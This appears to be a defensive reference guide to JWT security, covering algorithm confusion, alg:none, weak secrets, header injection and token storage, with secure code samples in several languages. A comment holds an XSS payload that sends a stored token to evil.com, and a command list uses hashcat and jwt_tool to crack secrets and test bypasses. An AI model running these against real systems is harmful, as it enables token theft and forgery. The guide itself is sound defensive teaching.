alg:none header, failing to whitelist algorithms (enabling HMAC/RSA confusion), and using weak signing secrets -- fix these and you eliminate ~80% of JWT attack surface.jwt.decode(token, key, algorithms=["RS256"]) -- always pass an explicit algorithms allowlist; never let the token dictate which algorithm to use.alg:none in production -- always reject unsigned JWTsexp, iss, and aud claims during verification -- missing validation enables token reuse across services| # | Vulnerability | Risk | Vulnerable Pattern | Secure Pattern |
|---|---|---|---|---|
| 1 | alg:none acceptance | Critical | Library accepts unsigned tokens | Reject none algorithm; use algorithms allowlist |
| 2 | Algorithm confusion (RS256 to HS256) | Critical | Server uses token header to pick algorithm | Hard-code expected algorithm in verification config |
| 3 | Weak HMAC secret | High | secret = "mysecret" | Use 256+ bit key from CSPRNG: openssl rand -base64 64 |
| 4 | Missing exp validation | High | Token never expires | Set short-lived tokens (5-15 min) + refresh tokens |
| 5 | JWK header injection | High | Server trusts jwk parameter in token header | Ignore embedded JWK; use server-side JWKS only |
| 6 | JKU header injection | High | Server fetches keys from attacker-controlled URL | Whitelist allowed jku URLs; pin JWKS endpoint |
| 7 | KID parameter injection | High | kid used in SQL query or file path unsanitized | Validate kid against allowlist; never use in SQL/file ops |
| 8 | Sensitive data in claims | Medium | {"ssn": "123-45-6789"} in payload | Use opaque token IDs; store sensitive data server-side |
| 9 | Token stored in localStorage | Medium | XSS can read localStorage.getItem("token") | Use HttpOnly + Secure + SameSite cookies |
| 10 | No token revocation | Medium | Compromised token valid until exp | Maintain server-side denylist keyed by jti |
| 11 | Missing iss/aud validation | Medium | Token accepted by any service | Verify iss matches expected issuer; aud matches your service |
| 12 | Token sidejacking | Medium | Stolen JWT grants full access | Bind token to client fingerprint via hardened cookie |
START: What JWT security concern are you addressing?
├── Token verification is failing or bypassed?
│ ├── alg:none accepted? → Reject none; enforce algorithms allowlist
│ ├── Algorithm confusion (HS256 vs RS256)? → Hard-code algorithm; separate HS/RS endpoints
│ └── Signature not verified at all? → Use verify(), NOT decode()
├── Token stolen or reusable across services?
│ ├── No expiry set? → Add exp claim (5-15 min); use refresh tokens
│ ├── No audience validation? → Validate aud claim on every request
│ ├── Stored in localStorage? → Move to HttpOnly + Secure + SameSite cookie
│ └── No revocation mechanism? → Implement jti-based denylist
├── Header parameter injection?
│ ├── jwk in header trusted? → Ignore jwk; use server-side JWKS only
│ ├── jku pointing to external URL? → Whitelist jku URLs
│ └── kid used in SQL/file path? → Validate kid against allowlist
├── Sensitive data exposure?
│ ├── PII in claims? → Remove; use opaque references + server-side lookup
│ └── Internal architecture in claims? → Replace with UUIDs; use generic roles
└── DEFAULT → Apply all constraints above + short token lifetime + HTTPS only
The most critical defense: never let the token header dictate which algorithm the server uses. Specify allowed algorithms explicitly. [src4]
import jwt # PyJWT >= 2.4.0
# SECURE: explicit algorithm allowlist
payload = jwt.decode(
token,
key=public_key,
algorithms=["RS256"], # NEVER omit this parameter
audience="https://api.example.com",
issuer="https://auth.example.com"
)
Verify: Craft a token with "alg": "none" and empty signature -- your server should reject it with an algorithm mismatch error.
For HMAC (symmetric) algorithms, the key must be at least 256 bits. For RSA, use 2048-bit keys minimum (4096-bit recommended). [src2]
# Generate a strong HMAC secret (64 bytes = 512 bits)
openssl rand -base64 64
# Generate an RSA 4096-bit key pair
openssl genrsa -out private.pem 4096
openssl rsa -in private.pem -pubout -out public.pem
Verify: Attempt brute-force with hashcat -a 0 -m 16500 <token> <wordlist> -- should be computationally infeasible.
Access tokens should expire in 5-15 minutes. Always validate exp, nbf, and iat. [src1]
import jwt
from datetime import datetime, timezone, timedelta
payload = {
"sub": user_id,
"iss": "https://auth.example.com",
"aud": "https://api.example.com",
"exp": datetime.now(timezone.utc) + timedelta(minutes=15),
"jti": str(uuid.uuid4())
}
token = jwt.encode(payload, private_key, algorithm="RS256")
Verify: Create a token with exp set 1 second in the past -- verification should raise ExpiredSignatureError.
JWTs are stateless by design but compromised tokens remain valid until expiry. Maintain a denylist for critical operations. [src1]
CREATE TABLE revoked_tokens (
jti VARCHAR(255) PRIMARY KEY,
revoked_at TIMESTAMP DEFAULT NOW(),
expires_at TIMESTAMP NOT NULL
);
Verify: Revoke a valid token's jti, then attempt to use the token -- should be rejected.
Never store JWTs in localStorage (vulnerable to XSS). Use HttpOnly cookies with Secure, SameSite, and path restrictions. [src1]
res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'Strict',
maxAge: 15 * 60 * 1000,
path: '/api'
});
Verify: Open browser DevTools > Console > document.cookie -- the token should NOT appear.
Generate a random fingerprint during authentication, hash it into the token, and send the raw value as a hardened cookie. [src1]
import hashlib, secrets
fingerprint = secrets.token_hex(32)
fingerprint_hash = hashlib.sha256(fingerprint.encode()).hexdigest()
claims = {
"sub": user_id,
"exp": ...,
"user_context": fingerprint_hash
}
# Set-Cookie: __Secure-Fgp={fingerprint}; HttpOnly; Secure; SameSite=Strict
Verify: Extract the JWT and replay it without the cookie -- should be rejected due to mismatched fingerprint.
import jwt # PyJWT >= 2.4.0
# Input: JWT string, RSA public key (PEM), expected issuer and audience
# Output: Decoded claims dict, or raises exception on invalid token
def verify_token(token: str, public_key: str) -> dict:
try:
payload = jwt.decode(
token,
key=public_key,
algorithms=["RS256"],
audience="https://api.example.com",
issuer="https://auth.example.com",
options={
"require": ["exp", "iss", "aud", "sub", "jti"],
"verify_exp": True,
"verify_iss": True,
"verify_aud": True,
}
)
if is_revoked(payload.get("jti")):
raise jwt.InvalidTokenError("Token has been revoked")
return payload
except jwt.ExpiredSignatureError:
raise
except jwt.InvalidTokenError as e:
raise
const jwt = require('jsonwebtoken'); // >= 9.0.0
// Input: JWT string, RSA public key (PEM)
// Output: Decoded payload, or throws on invalid token
function verifyToken(token, publicKey) {
return jwt.verify(token, publicKey, {
algorithms: ['RS256'],
audience: 'https://api.example.com',
issuer: 'https://auth.example.com',
complete: false,
clockTolerance: 5,
});
}
// jjwt >= 0.12.0
import io.jsonwebtoken.Jwts;
import java.security.PublicKey;
// Input: JWT string, RSA public key
// Output: Claims object, or throws SignatureException
public Claims verifyToken(String token, PublicKey publicKey) {
return Jwts.parser()
.verifyWith(publicKey)
.requireIssuer("https://auth.example.com")
.requireAudience("https://api.example.com")
.build()
.parseSignedClaims(token)
.getPayload();
}
# BAD -- attacker controls the algorithm by modifying the JWT header
import jwt
header = jwt.get_unverified_header(token)
payload = jwt.decode(token, key, algorithms=[header["alg"]])
# Attacker sets alg:HS256, signs with the RSA public key -> accepted!
# GOOD -- server dictates the algorithm, not the token
import jwt
payload = jwt.decode(token, key, algorithms=["RS256"])
// BAD -- decode() does NOT verify the signature
const jwt = require('jsonwebtoken');
const payload = jwt.decode(token); // Anyone can forge this token
// GOOD -- verify() checks signature + claims
const jwt = require('jsonwebtoken');
const payload = jwt.verify(token, publicKey, { algorithms: ['RS256'] });
# BAD -- short secrets are brute-forceable with hashcat in minutes
import jwt
token = jwt.encode(payload, "secret123", algorithm="HS256")
# GOOD -- 512-bit key from CSPRNG
import jwt, secrets
signing_key = secrets.token_bytes(64)
token = jwt.encode(payload, signing_key, algorithm="HS256")
// BAD -- any XSS vulnerability can steal the token
localStorage.setItem('token', jwt);
// XSS payload: fetch('https://evil.com?t=' + localStorage.getItem('token'))
// GOOD -- JavaScript cannot access HttpOnly cookies
res.cookie('token', jwt, {
httpOnly: true, secure: true, sameSite: 'Strict', path: '/api'
});
# BAD -- token valid forever; if stolen, attacker has permanent access
payload = {"sub": user_id} # No exp claim
token = jwt.encode(payload, key, algorithm="RS256")
# GOOD -- 15-minute access token + refresh token
from datetime import datetime, timezone, timedelta
payload = {
"sub": user_id,
"exp": datetime.now(timezone.utc) + timedelta(minutes=15),
"jti": str(uuid.uuid4())
}
token = jwt.encode(payload, key, algorithm="RS256")
alg to HS256 and signs with the public key as the HMAC secret, and the server verifies successfully. Fix: Never allow both symmetric and asymmetric algorithms on the same endpoint. [src4]alg:none bypass: Libraries may reject "none" but accept "None", "nOnE", or "NONE". Auth0 was vulnerable to this exact bypass. Fix: Use an algorithm allowlist (which inherently rejects all none variants). [src4]jku URL in the token header without validating against a whitelist, an attacker can host their own JWKS. Fix: Configure JWKS endpoints server-side; ignore jku/jwk from the token. [src2]kid is used in a SQL query or file path, attackers can inject SQL or traverse directories to /dev/null. Fix: Validate kid against an allowlist. [src2]aud claim: A token issued for Service A is replayed against Service B. Fix: Always set and validate the aud claim specific to each service. [src3]exp. Fix: Include a password hash version claim and check it server-side, or revoke all tokens via denylist on password change. [src1]clockTolerance of 5-30 seconds; keep servers NTP-synced. [src7]# Decode a JWT without verification (inspect header + payload)
echo 'eyJhbGci...' | cut -d. -f1 | base64 -d 2>/dev/null | jq .
echo 'eyJhbGci...' | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Check JWT header algorithm
echo $JWT | cut -d. -f1 | base64 -d 2>/dev/null | jq -r .alg
# Brute-force weak HMAC secrets with hashcat
hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt
# Test for alg:none vulnerability with jwt_tool
python3 jwt_tool.py <token> -X a # Test alg:none
python3 jwt_tool.py <token> -X k # Test key confusion
# Verify RSA key strength
openssl rsa -in private.pem -text -noout | head -1
# Check a JWKS endpoint for key issues
curl -s https://auth.example.com/.well-known/jwks.json | jq '.keys[] | {kid, kty, alg, use}'
# Verify token expiry from the command line
echo $JWT | cut -d. -f2 | base64 -d 2>/dev/null | jq '.exp | todate'
| Library | Version | Status | Key Security Feature |
|---|---|---|---|
| PyJWT | 2.x (2.11.0) | Current | algorithms parameter required by default; rejects none |
| PyJWT | 1.x | EOL | algorithms parameter optional -- vulnerable to confusion attacks |
| jsonwebtoken (Node) | 9.x | Current | algorithms required in verify(); rejects none by default |
| jsonwebtoken (Node) | 8.x | Deprecated | algorithms optional -- vulnerable if omitted |
| java-jwt (Auth0) | 4.x | Current | Typed algorithm builders prevent confusion attacks |
| jjwt (Java) | 0.12.x | Current | parseSignedClaims() rejects unsigned tokens |
| golang-jwt | 5.x | Current | WithValidMethods() enforces algorithm allowlist |
| RFC 7519 | N/A | Active | Defines JWT structure; mandates HS256 + none support (disable in production) |
| Use When | Don't Use When | Use Instead |
|---|---|---|
| Stateless API authentication in microservices | You need immediate token revocation for every request | Server-side sessions with session ID |
| Single Sign-On (SSO) across multiple domains | Tokens carry large amounts of data (>4KB) | Opaque tokens + server-side data store |
| Short-lived access tokens (5-15 min lifetime) | You store sensitive PII in the token payload | Encrypted tokens (JWE) or opaque references |
| Mobile/SPA clients calling REST APIs | Your threat model requires instant logout across all sessions | Session-based auth with server-side invalidation |
alg:none -- but supporting it and accepting it in production are different things; always reject none in verificationiss claim alone is not sufficient for trust -- you must also verify the signing key belongs to the stated issuer (key binding)exp; implement refresh token rotation with one-time-use semantics